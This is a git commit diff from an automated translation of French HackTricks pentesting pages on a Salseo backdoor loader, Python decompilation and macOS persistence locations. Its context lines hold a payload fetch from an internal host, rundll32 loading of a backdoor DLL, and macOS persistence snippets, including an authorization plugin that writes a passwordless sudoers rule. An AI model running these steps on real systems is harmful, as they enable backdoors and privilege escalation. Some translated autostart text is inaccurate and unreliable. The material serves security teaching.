Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi

This commit is contained in:
Translator 2023-11-03 12:25:39 +00:00
parent e0c6400b3c
commit 9ea31cb6b4
58 changed files with 389 additions and 307 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

View file

@ -40,7 +40,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** est la plateforme de piratage éthique et de **bug bounty n°1 en Europe**.
@ -109,7 +109,7 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR est une entreprise leader en cybersécurité offensive**](https://www.dragonjar.org/) **basée en Colombie**. DragonJAR propose [des services complets de cybersécurité offensive, tels que le **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) dans divers domaines et pratiquement **toute technologie**, des simulations d'attaque **Red Team**, des tests de sécurité **physique**, des tests de stress, de l'ingénierie sociale, une revue de sécurité du **code source** et une formation en cybersécurité. De plus, ils organisent la **DragonJAR Security Conference**, [un congrès international sur la cybersécurité](https://www.dragonjarcon.org/) qui se tient depuis plus d'une décennie, devenant une vitrine pour les dernières recherches en sécurité en espagnol et d'une grande pertinence dans la région.
[**DragonJAR est une entreprise leader en cybersécurité offensive**](https://www.dragonjar.org/) **basée en Colombie**. DragonJAR propose [des services complets de cybersécurité offensive, tels que le **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) dans divers domaines et pratiquement **toute technologie**, des simulations d'attaques **Red Team**, des tests de sécurité **physique**, des tests de stress, de l'ingénierie sociale, des revues de sécurité du **code source** et des formations en cybersécurité. De plus, ils organisent la **DragonJAR Security Conference**, [un congrès international sur la cybersécurité](https://www.dragonjarcon.org/) qui se tient depuis plus d'une décennie, devenant une vitrine pour les dernières recherches en sécurité en espagnol et d'une grande importance dans la région.
[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region.
@ -121,13 +121,13 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
## **Disclaimer**
{% hint style="danger" %}
Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni tel quel, et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni "tel quel", et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage découlant de la perte de données ou de bénéfices résultant de l'utilisation de ce livre.
De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et à la discrétion de l'utilisateur.
De plus, les techniques et astuces décrites dans ce livre sont fournies uniquement à des fins éducatives et informatives, et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et périls de l'utilisateur et à sa discrétion.
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
{% endhint %}

View file

@ -45,7 +45,7 @@ Les backdoors peuvent être installés de différentes manières, notamment par
Il existe plusieurs outils et techniques pour détecter et supprimer les backdoors sur les systèmes Windows. Certains outils populaires incluent des scanners de vulnérabilités, des antivirus et des pare-feu. Il est également important de maintenir votre système à jour avec les derniers correctifs de sécurité pour réduire les risques d'exploitation de vulnérabilités connues.
Pour prévenir les backdoors, il est essentiel de suivre de bonnes pratiques de sécurité, telles que l'utilisation de mots de passe forts, l'installation de logiciels provenant de sources fiables, la mise en place de pare-feu et la sensibilisation à la sécurité informatique. En outre, il est recommandé de réaliser régulièrement des audits de sécurité pour détecter et corriger les vulnérabilités potentielles.
Pour prévenir les backdoors, il est essentiel de suivre de bonnes pratiques de sécurité, telles que l'utilisation de mots de passe forts, l'installation de logiciels provenant de sources fiables, la mise en place de pare-feu et la sensibilisation à la sécurité informatique. En outre, il est recommandé de réaliser régulièrement des audits de sécurité pour détecter et corriger les éventuelles vulnérabilités.
En conclusion, les backdoors sont une menace sérieuse pour la sécurité des systèmes Windows. Il est essentiel de prendre des mesures pour les détecter, les prévenir et les éliminer afin de protéger vos informations sensibles et votre système contre les attaques.
```
@ -101,7 +101,7 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
### Ajoutez avant la fonction principale: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Installez DllExport pour ce projet
@ -109,7 +109,7 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Recherchez le package DllExport (utilisez l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
@ -117,7 +117,7 @@ Dans le dossier de votre projet, les fichiers suivants sont apparus : **DllExpor
### **Désinstallez DllExport**
Appuyez sur **Désinstaller** (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire)
Appuyez sur **Désinstaller** (oui, c'est étrange mais faites-moi confiance, c'est nécessaire)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
@ -143,7 +143,7 @@ Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Proprié
![](<../.gitbook/assets/image (10) (1).png>)
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Général --> Cible de la plateforme = x64)
Sélectionnez la **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Général --> Cible de la plateforme = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
@ -174,13 +174,13 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It provides a way to interact with the operating system by executing commands. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It provides a text-based interface for executing commands and performing various tasks. CMD can be used to navigate the file system, run programs, manage processes, and perform administrative tasks.
CMD is often used by hackers as a backdoor to gain unauthorized access to a system. By exploiting vulnerabilities or using social engineering techniques, hackers can execute malicious commands through CMD to compromise the security of a target system.
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can exploit vulnerabilities, escalate privileges, and gain control over the target system.
To protect against CMD backdoors, it is important to keep your system up to date with the latest security patches and to use strong passwords. Additionally, monitoring network traffic and implementing intrusion detection systems can help detect and prevent unauthorized access through CMD.
To access CMD, simply open the Command Prompt application on a Windows machine. Once opened, you can start executing commands by typing them directly into the CMD window.
Remember, CMD can be a powerful tool when used responsibly, but in the wrong hands, it can be used to cause significant harm. Stay vigilant and take necessary precautions to protect your system from CMD-based attacks.
It is important to note that CMD should only be used for legitimate purposes, such as system administration or troubleshooting. Using CMD for malicious activities is illegal and unethical. Always ensure that you have proper authorization before using CMD on a target system.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View file

@ -12,7 +12,7 @@
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -66,7 +66,7 @@ Pour résoudre ce problème, vous devez **ajouter le bon numéro magique** au d
>> imp.get_magic().hex()
'550d0d0a'
```
Le **nombre magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, donc, pour corriger cette erreur, vous devrez **ajouter** au **début** du fichier **.pyc** les octets suivants : `0x0d550a0d000000000000000000000000`
Le **nombre magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, puis, pour corriger cette erreur, vous devrez **ajouter** au **début** du fichier **.pyc** les octets suivants : `0x0d550a0d000000000000000000000000`
**Une fois** que vous avez **ajouté** cet en-tête magique, l'**erreur devrait être corrigée**.
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -221,7 +221,7 @@ Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,8 +4,8 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -17,7 +17,7 @@ Cette section est largement basée sur la série de blogs [**Au-delà des bons v
## Contournement de la sandbox
{% hint style="success" %}
Ici, vous pouvez trouver des emplacements de démarrage utiles pour **contourner la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action** très **courante**, une **durée déterminée** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de privilèges root.
Ici, vous pouvez trouver des emplacements de démarrage utiles pour **contourner la sandbox** qui vous permettent d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action** très **courante**, une **durée déterminée** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de privilèges root.
{% endhint %}
### Launchd
@ -77,7 +77,7 @@ La **principale différence entre les agents et les daemons est que les agents s
</dict>
</plist>
```
Il existe des cas où un **agent doit être exécuté avant la connexion de l'utilisateur**, on les appelle des **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple).
Il y a des cas où un **agent doit être exécuté avant la connexion de l'utilisateur**, on les appelle des **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple).
{% hint style="info" %}
Les nouveaux fichiers de configuration des démons ou des agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load <target.plist>`. Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F <file>` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\
@ -133,7 +133,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Applications réouvertes
{% hint style="danger" %}
La configuration de l'exploitation indiquée et la déconnexion et la reconnexion, voire le redémarrage, n'ont pas fonctionné pour moi pour exécuter l'application. (L'application ne s'exécutait pas, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)
La configuration de l'exploitation indiquée et la déconnexion et la reconnexion ou même le redémarrage n'ont pas fonctionné pour moi pour exécuter l'application. (L'application ne s'exécutait pas, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -151,7 +151,7 @@ Toutes les applications à réouvrir se trouvent dans le plist `~/Library/Prefer
Ainsi, pour que les applications réouvertes lancent votre propre application, vous devez simplement **ajouter votre application à la liste**.
L'UUID peut être trouvé en listant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
L'UUID peut être trouvé en répertoriant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
Pour vérifier les applications qui seront réouvertes, vous pouvez exécuter :
```bash
@ -359,19 +359,19 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour contourner l
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Utile pour contourner la sandbox: [](https://emojipedia.org/check-mark-button)
* Utile pour contourner la sandbox : [](https://emojipedia.org/check-mark-button)
* Cependant, vous devez être capable d'exécuter le binaire `crontab`
* Ou être root
#### Emplacement
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Accès en écriture directe nécessitant les droits root. Aucun accès root requis si vous pouvez exécuter `crontab <fichier>`
* **Déclencheur**: Dépend de la tâche cron
* Accès en écriture directe nécessitant les droits root. Aucun droit root requis si vous pouvez exécuter `crontab <fichier>`
* **Déclencheur** : Dépend de la tâche cron
#### Description et exploitation
Listez les tâches cron de l'**utilisateur actuel** avec:
Listez les tâches cron de l'**utilisateur actuel** avec :
```bash
crontab -l
```
@ -417,39 +417,49 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
# Emplacements de démarrage automatique de macOS
macOS offre plusieurs emplacements où vous pouvez configurer des applications pour qu'elles se lancent automatiquement au démarrage du système. Cela peut être pratique pour les applications que vous utilisez fréquemment et que vous souhaitez avoir immédiatement disponibles dès que vous allumez votre Mac.
macOS offre plusieurs emplacements où vous pouvez configurer des applications pour qu'elles se lancent automatiquement au démarrage du système. Cela peut être pratique pour les applications que vous utilisez fréquemment et que vous souhaitez avoir immédiatement disponibles.
Voici les emplacements de démarrage automatique les plus courants sur macOS :
Voici les emplacements courants où vous pouvez trouver des applications configurées pour le démarrage automatique :
## Dossier de démarrage
Le dossier de démarrage est l'emplacement le plus courant pour configurer les applications de démarrage automatique. Les applications placées dans ce dossier se lancent automatiquement chaque fois que vous ouvrez une session sur votre Mac. Le chemin d'accès au dossier de démarrage est le suivant :
Le dossier de démarrage est situé dans le répertoire personnel de chaque utilisateur. Les applications placées dans ce dossier se lanceront automatiquement lors de l'ouverture de session de l'utilisateur correspondant.
```
~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/
```
Chemin : `~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments`
## Préférences système
Les préférences système de macOS offrent également une option pour configurer les applications de démarrage automatique. Vous pouvez accéder à cette option en ouvrant les préférences système, en sélectionnant "Utilisateurs et groupes", puis en cliquant sur l'onglet "Ouverture". Vous verrez une liste des applications configurées pour se lancer au démarrage et vous pourrez ajouter ou supprimer des applications de cette liste.
Les préférences système de macOS permettent de configurer les applications qui se lancent automatiquement au démarrage pour tous les utilisateurs du système.
## LaunchAgents et LaunchDaemons
Chemin : `~/Library/Preferences/com.apple.loginitems.plist`
Les LaunchAgents et LaunchDaemons sont des mécanismes plus avancés pour configurer les applications de démarrage automatique sur macOS. Ils utilisent des fichiers de configuration au format XML pour spécifier quelles applications doivent être lancées au démarrage. Les fichiers LaunchAgents sont spécifiques à un utilisateur, tandis que les fichiers LaunchDaemons sont utilisés pour lancer des applications au niveau du système. Les fichiers de configuration pour ces mécanismes sont généralement situés dans les répertoires suivants :
## Préférences de lancement
```
~/Library/LaunchAgents/
/Library/LaunchAgents/
/Library/LaunchDaemons/
```
Les préférences de lancement sont des fichiers de configuration spécifiques à chaque application. Ils permettent de définir si une application doit se lancer automatiquement au démarrage.
## Login Items
Chemin : `~/Library/Preferences`
Les Login Items sont une autre option pour configurer les applications de démarrage automatique sur macOS. Vous pouvez accéder à cette option en ouvrant les préférences système, en sélectionnant "Utilisateurs et groupes", puis en cliquant sur l'onglet "Ouverture". Vous verrez une liste des applications configurées pour se lancer au démarrage et vous pourrez ajouter ou supprimer des applications de cette liste.
## LaunchAgents
Les LaunchAgents sont des fichiers de configuration au format XML qui permettent de spécifier les applications qui doivent se lancer automatiquement au démarrage. Ils sont généralement utilisés par les applications tierces.
Chemin : `/Library/LaunchAgents` et `~/Library/LaunchAgents`
## LaunchDaemons
Les LaunchDaemons sont similaires aux LaunchAgents, mais ils sont exécutés au niveau du système plutôt qu'au niveau de l'utilisateur. Ils sont généralement utilisés pour les services système.
Chemin : `/Library/LaunchDaemons` et `/System/Library/LaunchDaemons`
## Extensions de noyau
Les extensions de noyau peuvent également être configurées pour se charger automatiquement au démarrage du système. Cependant, cela nécessite des privilèges d'administration et est généralement réservé aux développeurs et aux administrateurs système.
Chemin : `/Library/Extensions` et `/System/Library/Extensions`
## Conclusion
La connaissance des emplacements de démarrage automatique de macOS est essentielle pour comprendre comment les applications sont configurées pour se lancer automatiquement. En comprenant ces emplacements, vous pouvez mieux contrôler les applications qui se lancent au démarrage de votre Mac et améliorer la sécurité et les performances de votre système.
Il est important de connaître ces emplacements de démarrage automatique de macOS afin de pouvoir vérifier et contrôler les applications qui se lancent automatiquement au démarrage du système. Cela peut contribuer à renforcer la sécurité et les performances de votre système.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -470,11 +480,11 @@ Le script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** ser
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Les préférences iTerm2 se trouvent dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** et peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert.
Les préférences d'iTerm2 se trouvent dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** et peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert.
Ce paramètre peut être configuré dans les paramètres iTerm2 :
Ce paramètre peut être configuré dans les paramètres d'iTerm2 :
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Et la commande est reflétée dans les préférences :
```bash
@ -773,7 +783,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas, je l'ai appelé output2.scp):
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté.
@ -967,7 +977,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
* `~/Library/Screen Savers`
* **Déclencheur** : Sélectionnez l'économiseur d'écran
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Description & Exploit
@ -1269,7 +1279,7 @@ account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
Et donc toute tentative d'utilisation de **`sudo` fonctionnera**.
Et donc toute tentative d'utiliser **`sudo` fonctionnera**.
{% hint style="danger" %}
Notez que ce répertoire est protégé par TCC, il est donc très probable que l'utilisateur reçoive une demande d'accès.
@ -1291,11 +1301,53 @@ Writeup : [https://posts.specterops.io/persistent-credential-theft-with-authoriz
#### Description et exploitation
Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsque l'utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la création de ces plugins, consultez les writeups précédents (et faites attention, un plugin mal écrit peut vous bloquer et vous devrez nettoyer votre Mac en mode de récupération).
Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsque l'utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la création de ces plugins, consultez les writeups précédents (et soyez prudent, un plugin mal écrit peut vous bloquer et vous devrez nettoyer votre Mac en mode de récupération).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
